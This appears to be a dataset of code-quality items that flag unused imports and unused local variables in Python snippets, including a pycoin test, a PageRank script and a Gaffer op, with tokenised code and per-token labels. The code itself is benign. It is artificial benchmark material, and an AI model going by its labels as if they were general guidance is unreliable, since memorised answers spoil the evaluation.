"10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "200", ":", " ", "stats", " ", "success", "full", "y", " ", "accesse", "d", "\\", "10", ";", " ", " ", " ", " ", ":", "statusc", "ode", " ", "400", ":", " ", "stats", " ", "retrie", "val", " ", "error", "\\", "10", ";", " ", " ", " ", " ", "\"\"\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "exp", "\\u", "uid", "'_", ",_", "type_", "=_", "str_", ",_", "required_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "exp", "\\u", "key", "'_", ",_", "type_", "=_", "str_", ",_", "required_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "post", "\\u", "parser_", "._", "add", "\\u", "argument_", "(_", "'", "args", "'_", ",_", "type_", "=_", "dict_", ",_", "required_", "=_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Validate", " ", "args", " ", "with", " ", "post", "\\u", "parser_", "\\u\\u\\uNL\\u\\u\\u_", "args", "\\u", "data_", "=_", "post", "\\u", "parser_", "._", "parse", "\\u", "args_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Pul", "l", " ", "app", "\\u", "id", " ", "and", " ", "exp", "\\u", "uid", " ", "from", " ", "parsed", " ", "args", "\\u", "data_", "\\u\\u\\uNL\\u\\u\\u_", "exp", "\\u", "uid_", "=_", "args", "\\u", "data_", "[_", "\"", "exp", "\\u", "uid", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "exp", "\\u", "key_", "=_", "args", "\\u", "data_", "[_", "\"", "exp", "\\u", "key", "\"_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "keyc", "hain", "_", "._", "verify", "\\u", "exp", "\\u", "key_", "(_", "exp", "\\u", "uid_", ",_", "exp", "\\u", "key_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "api", "\\u", "util_", "._", "attach", "\\u", "meta_", "(_", "{_", "}_", ",_", "api", "\\u", "util_", "._", "verification", "\\u", "dictionary_", ")_", ",_", "401_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Fe", "tch", " ", "app", "\\u", "id", " ", "data", " ", "from", " ", "resource", " ", "manager_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "app", "\\u", "id_", "=_", "resource", "\\u", "manager_", "._", "get", "\\u", "app", "\\u", "id_", "(_", "exp", "\\u", "uid_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Arg", "s", " ", "from", " ", "dict", " ", "to", " ", "json", " ", "type_", "\\u\\u\\uNL\\u\\u\\u_", "args", "\\u", "json_", "=_", "json_", "._", "dumps_", "(_", "args", "\\u", "data_", "[_", "\"", "args", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Execut", "e", " ", "get", "Stats_", "\\u\\u\\uNL\\u\\u\\u_", "response", "\\u", "json_", ",_", "did", "Succeed", "_", ",_", "message_", "=_", "broker_", "._", "appl", "y", "Async", "_", "(_", "app", "\\u", "id_", ",_", "exp", "\\u", "uid_", ",_", "\"", "get", "Stat", "s", "\"_", ",_", "args", "\\u", "json_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "response", "\\u", "json_", ",_", "parse", "\\u", "float_", "=_", "lambda_", "o_", ":_", "round_", "(_", "float_", "(_", "o_", ")_", ",_", "4_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "d_", "in_", "response", "\\u", "dict_", "[_", "\"", "data", "\"_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "If", " ", "a", " ", "datapoint", " ", "(", "d", ")", " ", "has", " ", "a", " ", "key", ",", " ", "attach", " ", "a", " ", "target", " ", "to", " ", "tha", "t", " ", "datapoint", "._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "if_", "'", "index", "'_", "in_", "d_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "d_", "[_", "\"", "target", "\"_", "]_", "=_", "target", "mapper_", "._", "get", "\\u", "target", "\\u", "data_", "(_", "exp", "\\u", "uid_", ",_", "d_", "[_", "\"", "index", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", " _", "print_", "\"", "fail", "ed", " ", "to", " ", "get", " ", "target", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "e", ".", "g", ".", " ", "response", "\\u", "dict", " ", "doe", "s", " ", "not", " ", "contain", " ", "key", " ", "\"", "data", "\"_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "did", "Succeed", "_", "and_", "\"", "data", "\"_", "in_", "response", "\\u", "dict_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "attach", "\\u", "meta_", "(_", "response", "\\u", "dict_", ",_", "meta", "\\u", "success_", ")_", ",_", "201_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "did", "Succeed", "_", "and_", "not_", "\"", "data", "\"_", "in_", "response", "\\u", "dict_", "._", "keys_", "(_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "attach", "\\u", "meta_", "(_", "{_", "'", "data", "'_", ":_", "[_", "]_", "}_", ",_", "meta", "\\u", "error_", "[_", "'", "Stat", "s", "Emp", "ty", "Error", "'_", "]_", ")_", ",_", "200_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "attach", "\\u", "meta_",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 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused local variable
richardkiss/pycoin/tests/build_tx_test.py
[ { "content": " def test_coinbase_tx(self):\n coinbase_bytes = h2b(\"04ed66471b02c301\")\n tx = Tx.coinbase_tx(COINBASE_PUB_KEY_FROM_80971, int(50 * 1e8), COINBASE_BYTES_FROM_80971)\n s = io.BytesIO()\n tx.stream(s)\n tx1 = s.getvalue()\n s = io.BytesIO()\n block_80971.txs[0].stream(s)\n tx2 = s.getvalue()\n self.assertEqual(tx1, tx2)", "metadata": "root.BuildTxTest.test_coinbase_tx", "header": "['class', 'BuildTxTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 93 }, { "content": " def test_tx_out_bitcoin_address(self):\n coinbase_bytes = h2b(\"04ed66471b02c301\")\n tx = Tx.coinbase_tx(COINBASE_PUB_KEY_FROM_80971, int(50 * 1e8), COINBASE_BYTES_FROM_80971)\n self.assertEqual(tx.txs_out[0].bitcoin_address(), '1DmapcnrJNGeJB13fv9ngRFX1iRvR4zamn')", "metadata": "root.BuildTxTest.test_tx_out_bitcoin_address", "header": "['class', 'BuildTxTest', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 104 } ]
[ { "span": "coinbase_bytes ", "start_line": 94, "start_column": 8, "end_line": 94, "end_column": 22 }, { "span": "coinbase_bytes ", "start_line": 105, "start_column": 8, "end_line": 105, "end_column": 22 } ]
[]
1
true
[ "[CLS]_", "Un", "used_", "local_", "variable_", "[SEP]_", "class_", "Build", "Tx", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "coinbase", "\\u", "tx_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coinbase", "\\u", "bytes_", "=_", "h2", "b_", "(_", "\"", "04", "ed", "664", "7", "1b", "02", "c3", "01", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tx_", "=_", "Tx_", "._", "coinbase", "\\u", "tx_", "(_", "COI", "NB", "AS", "E", "\\u", "PUB", "\\u", "KEY", "\\u", "FROM", "\\u", "809", "71_", ",_", "int_", "(_", "50_", "*_", "1e", "8_", ")_", ",_", "COI", "NB", "AS", "E", "\\u", "BYTES", "\\u", "FROM", "\\u", "809", "71_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "io_", "._", "Byte", "s", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tx_", "._", "stream_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tx", "1_", "=_", "s_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "s_", "=_", "io_", "._", "Byte", "s", "IO_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "block", "\\u", "809", "71_", "._", "txs", "_", "[_", "0_", "]_", "._", "stream_", "(_", "s_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tx", "2_", "=_", "s_", "._", "getvalue_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "tx", "1_", ",_", "tx", "2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Build", "Tx", "Test_", "(_", "unittest_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "tx", "\\u", "out", "\\u", "bitcoin", "\\u", "address_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "coinbase", "\\u", "bytes_", "=_", "h2", "b_", "(_", "\"", "04", "ed", "664", "7", "1b", "02", "c3", "01", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "tx_", "=_", "Tx_", "._", "coinbase", "\\u", "tx_", "(_", "COI", "NB", "AS", "E", "\\u", "PUB", "\\u", "KEY", "\\u", "FROM", "\\u", "809", "71_", ",_", "int_", "(_", "50_", "*_", "1e", "8_", ")_", ",_", "COI", "NB", "AS", "E", "\\u", "BYTES", "\\u", "FROM", "\\u", "809", "71_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "tx_", "._", "txs", "\\u", "out_", "[_", "0_", "]_", "._", "bitcoin", "\\u", "address_", "(_", ")_", ",_", "'", "1", "Dm", "ap", "cn", "r", "JN", "Ge", "JB", "13", "fv", "9", "ng", "RF", "X1", "i", "Rv", "R", "4", "za", "mn", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Unused import
zhaozhang/amfora/examples/PageRank/bin/distribution.py
[ { "content": "#!/usr/bin/env python3\n\nimport os\nimport sys\nimport subprocess\n\nif __name__==\"__main__\":\n if len(sys.argv) < 3:\n print(\"wrong format\\n\")\n print(\"Format: \"+sys.argv[0]+\" link.txt score.txt\")\n sys.exit(1)\n lname = sys.argv[1] \n sname = sys.argv[2]\n if not os.path.isfile(lname):\n print(\"Link file \"+lname+\" does not exist\")\n sys.exit(1)\n if not os.path.isfile(sname): \n print(\"Score file \"+sname+\" does not exist\")\n sys.exit(1)\n \n sdict = dict() \n sfd = open(sname, 'r')\n lines = sfd.readlines()\n for line in lines:\n pageid, score = line.strip('\\n').split('\\t')\n sdict[pageid] = score\n\n fd = open(lname, 'r')\n lines = fd.readlines()\n for line in lines:\n words = line.strip('\\n').split(' ')\n pageid = words[0][:len(words[0])-1]\n for page in words[1:]:\n print(\"%s\\t%.8f\" % (page, float(sdict[pageid])/(len(words)-1)))\n #print(page+'\\t'+str(float(sdict[pageid])/(len(words)-1)))\n\n \n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 } ]
[ { "span": "import subprocess", "start_line": 4, "start_column": 0, "end_line": 4, "end_column": 17 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "#!", "/", "usr", "/", "bin", "/", "env", " ", "python", "3_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "import_", "os_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "sys_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "import_", "subprocess_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "if_", "\\u\\u", "name\\u\\u_", "==_", "\"\\u\\u", "main", "\\u\\u\"_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "len_", "(_", "sys_", "._", "argv_", ")_", "<_", "3_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "wrong", " ", "format", "\\\\", "n", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "(_", "\"", "Format", ":", " ", "\"_", "+_", "sys_", "._", "argv_", "[_", "0_", "]_", "+_", "\"", " ", "link", ".", "txt", " ", "score", ".", "txt", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "lname", "_", "=_", "sys_", "._", "argv_", "[_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sname_", "=_", "sys_", "._", "argv_", "[_", "2_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "lname", "_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Link", " ", "file", " ", "\"_", "+_", "lname", "_", "+_", "\"", " ", "doe", "s", " ", "not", " ", "exist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "not_", "os_", "._", "path_", "._", "isfile_", "(_", "sname_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"", "Score", " ", "file", " ", "\"_", "+_", "sname_", "+_", "\"", " ", "doe", "s", " ", "not", " ", "exist", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sys_", "._", "exit_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "sdi", "ct_", "=_", "dict_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sf", "d_", "=_", "open_", "(_", "sname_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "sf", "d_", "._", "readlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "lines_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "page", "id_", ",_", "score_", "=_", "line_", "._", "strip_", "(_", "'\\\\", "n", "'_", ")_", "._", "split_", "(_", "'\\\\", "t", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sdi", "ct_", "[_", "page", "id_", "]_", "=_", "score_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "fd_", "=_", "open_", "(_", "lname", "_", ",_", "'", "r", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "lines_", "=_", "fd_", "._", "readlines_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "line_", "in_", "lines_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "words_", "=_", "line_", "._", "strip_", "(_", "'\\\\", "n", "'_", ")_", "._", "split_", "(_", "'", " ", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "page", "id_", "=_", "words_", "[_", "0_", "]_", "[_", ":_", "len_", "(_", "words_", "[_", "0_", "]_", ")_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "page_", "in_", "words_", "[_", "1_", ":_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "print_", "(_", "\"%", "s", "\\\\", "t", "%", ".8", "f", "\"_", "%_", "(_", "page_", ",_", "float_", "(_", "sdi", "ct_", "[_", "page", "id_", "]_", ")_", "/_", "(_", "len_", "(_", "words_", ")_", "-_", "1_", ")_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", "print", "(", "page", "+'", "\\\\", "t", "'+", "str", "(", "float", "(", "sdi", "ct", "[", "page", "id", "])", "/(", "len", "(", "words", ")-", "1", ")))", "_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2 ]
Unused import
ImageEngine/gaffer/contrib/ops/convertAnimCache.py
[ { "content": "##########################################################################\n#\n# Copyright (c) 2012, John Haddon. All rights reserved.\n#\n# Redistribution and use in source and binary forms, with or without\n# modification, are permitted provided that the following conditions are\n# met:\n#\n# * Redistributions of source code must retain the above\n# copyright notice, this list of conditions and the following\n# disclaimer.\n#\n# * Redistributions in binary form must reproduce the above\n# copyright notice, this list of conditions and the following\n# disclaimer in the documentation and/or other materials provided with\n# the distribution.\n#\n# * Neither the name of John Haddon nor the names of\n# any other contributors to this software may be used to endorse or\n# promote products derived from this software without specific prior\n# written permission.\n#\n# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS\n# IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO,\n# THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR\n# PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR\n# CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,\n# EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,\n# PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR\n# PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF\n# LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING\n# NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS\n# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n#\n##########################################################################\n\nimport os\nimport glob\n\nimport IECore\n\n\nIECore.registerRunTimeTyped( convertAnimCache )\n", "metadata": "root", "header": "['module', '___EOS___']", "index": 0 }, { "content": "class convertAnimCache( IECore.Op ) :\n\n", "metadata": "root.convertAnimCache", "header": "['module', '___EOS___']", "index": 41 }, { "content": "\tdef __init__( self ) :\n\n\t\tIECore.Op.__init__( self, \"Converts animation caches from an old skool format to a nice new one.\", IECore.FileSequenceParameter( \"result\", \"\" ) )\n\n\t\tself.parameters().addParameters(\n\n\t\t\t[\n\t\t\t\tIECore.FileSequenceParameter(\n\t\t\t\t\t\"inputSequence\",\n\t\t\t\t\t\"The animation sequence to convert.\",\n\t\t\t\t\tdefaultValue = \"\",\n\t\t\t\t\tallowEmptyString = False,\n\t\t\t\t\tcheck = IECore.FileSequenceParameter.CheckType.MustExist,\n\t\t\t\t\textensions = \"fio\",\n\t\t\t),\n\t\t\t\tIECore.FileSequenceParameter(\n\t\t\t\t\t\"outputSequence\",\n\t\t\t\t\t\"The animation sequence to create\",\n\t\t\t\t\tdefaultValue = \"\",\n\t\t\t\t\tallowEmptyString = False,\n\t\t\t\t\textensions = \"fio\",\n\t\t\t\t),\n\t\t\t],\n\n\t\t)", "metadata": "root.convertAnimCache.__init__", "header": "['class', 'convertAnimCache', '(', 'IECore', '.', 'Op', ')', ':', '___EOS___']", "index": 43 }, { "content": "\tdef doOperation( self, args ) :\n\n\t\tsrc = self.parameters()[\"inputSequence\"].getFileSequenceValue()\n\t\tdst = self.parameters()[\"outputSequence\"].getFileSequenceValue()\n\t\t# if no frame list is specified on the dst parameter, then we use the same as src parameter.\n\t\tif isinstance( dst.frameList, IECore.EmptyFrameList ):\n\t\t\tdst.frameList = src.frameList\n\n\t\tfor ( sf, df ) in zip( src.fileNames(), dst.fileNames() ) :\n\n\t\t\tsc = IECore.AttributeCache( sf, IECore.IndexedIOOpenMode.Read )\n\t\t\tdc = IECore.AttributeCache( df, IECore.IndexedIOOpenMode.Write )\n\n\t\t\tcombinedBound = IECore.Box3f()\n\t\t\tfor objectName in sc.objects() :\n\n\t\t\t\tp = b = None\n\t\t\t\twith IECore.IgnoredExceptions( Exception ) :\n\t\t\t\t\tp = sc.read( objectName, \"vertCache.P\" )\n\t\t\t\t\tb = sc.read( objectName, \"vertCache.boundingBox\" )\n\n\t\t\t\tif p is not None and b is not None :\n\t\t\t\t\tcombinedBound.extendBy( b.value )\n\t\t\t\t\tdc.write( \"-\" + objectName, \"primVar:P\", p )\n\t\t\t\t\tdc.write( \"-\" + objectName, \"bound\", b )\n\n\t\t\tdc.write( \"-\", \"bound\", IECore.Box3fData( combinedBound ) )\n\n\t\treturn args[\"outputSequence\"].value", "metadata": "root.convertAnimCache.doOperation", "header": "['class', 'convertAnimCache', '(', 'IECore', '.', 'Op', ')', ':', '___EOS___']", "index": 69 } ]
[ { "span": "import os", "start_line": 36, "start_column": 0, "end_line": 36, "end_column": 9 }, { "span": "import glob", "start_line": 37, "start_column": 0, "end_line": 37, "end_column": 11 } ]
[]
1
false
[ "[CLS]_", "Un", "used_", "import_", "[SEP]_", "module_", "\\u\\u\\uEOS\\u\\u\\u_", "###########", "###########", "###########", "###########", "###########", "###########", "######", "##", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Copy", "right", " ", "(", "c", ")", " ", "2012", ",", " ", "Joh", "n", " ", "Had", "don", ".", " ", "All", " ", "rights", " ", "reserve", "d", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "Redistributi", "on", " ", "and", " ", "use", " ", "in", " ", "source", " ", "and", " ", "binar", "y", " ", "forms", ",", " ", "with", " ", "or", " ", "with", "out_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "modification", ",", " ", "are", " ", "permit", "ted", " ", "provided", " ", "tha", "t", " ", "the", " ", "follow", "ing", " ", "condition", "s", " ", "are", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "met", ":_", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "of", " ", "source", " ", "code", " ", "must", " ", "retain", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Redistributi", "ons", " ", "in", " ", "binar", "y", " ", "form", " ", "must", " ", "reproduce", " ", "the", " ", "above_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "copyr", "ight", " ", "notice", ",", " ", "this", " ", "list", " ", "of", " ", "condition", "s", " ", "and", " ", "the", " ", "following_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "discl", "aime", "r", " ", "in", " ", "the", " ", "documentation", " ", "and", "/", "or", " ", "other", " ", "material", "s", " ", "provided", " ", "with_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", " ", " ", "the", " ", "distribu", "tion", "._", "\\u\\u\\uNL\\u\\u\\u_", "#", "_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", " ", "*", " ", "Nei", "ther", " ", "the", " ", "name", " ", "of", " ", "Joh", "n", " ", "Had", "don", " ", "nor", " ", "the", " ", "names", " ", "of_", 